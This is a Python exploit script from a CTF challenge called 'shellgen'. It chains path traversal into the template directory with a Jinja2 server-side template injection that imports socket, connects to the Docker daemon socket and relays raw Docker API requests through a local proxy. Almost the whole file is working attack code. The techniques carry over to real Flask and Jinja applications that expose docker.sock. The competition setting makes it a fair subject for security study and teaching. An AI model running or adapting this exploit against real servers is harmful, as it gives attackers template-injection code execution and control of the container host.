d3ctf_scripts

scripts behind d3ctf_shellgen

proxy.py

import base64
from requests import session
import time
import random
import string
from urllib.parse import unquote
from html import unescape

host = 'http://[redacted].shellgen.d3ctf.io'
token = host[7:].split('.')[0]
code = lambda subdir, payload: f'''
import os
os.makedirs('/opt/{subdir}', exist_ok=True)
with open('/opt/{subdir}/result.html', 'w') as f:
    f.write("""{payload}""")
'''.strip()
template = '''
{% set socket=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("socket") %}
{% set s=socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) %}
{% set n=s.connect("/var/run/docker.sock") %}
{% set n=s.sendall("{request}".encode()) %}
{{ s.recv(81920) }}
'''

ses = session()


def renew_session():
    subdir = ''.join([
        random.choice(string.ascii_lowercase)
        for _ in range(5)
    ])
    ses.post(host + '/submit', data={
        'token': '/'.join([token, subdir]),
        'code': ''
    })
    a = ses.cookies['session'].split('.')[0].encode() + b'==='
    print(base64.b64decode(a).decode())
    return subdir


def send(request):
    subdir = renew_session()
    h = bytes.hex(request.encode())
    request = ''
    for i in range(0, len(h), 2):
        request += '\\\\x' + str(h[i]) + str(h[i + 1])

    pld = session()
    payload = template.replace('}\n', '}').replace('{request}', request)
    pld.post(host + '/submit', data={
        'token': '../templates/' + token,
        'code': code(subdir, payload)
    })
    for _ in range(10):
        time.sleep(1)
        result = unescape(ses.get(host + '/result').text)
        if 'wait for' not in result:
            return eval(result)


class Proxy:
    def __init__(self, host: str, port: int):
        self.bind_addr = (host, port)

    async def handle(self, lreader, lwriter):
        try:
            payload = await lreader.read(81920)
            if b'_ping' in payload:
                lwriter.write(b'HTTP/1.1 200 OK\r\n\r\n')
            else:
                print(payload.decode())
                result = send(payload.decode())
                print(result.decode())
                lwriter.write(result)
        finally:
            lwriter.close()

    async def get_server(self):
        return await asyncio.start_server(self.handle, *self.bind_addr)

    def start(self):
        loop = asyncio.get_event_loop()
        loop.run_until_complete(self.get_server())
        loop.run_forever()


proxy = Proxy('0.0.0.0', 1234)
proxy.start()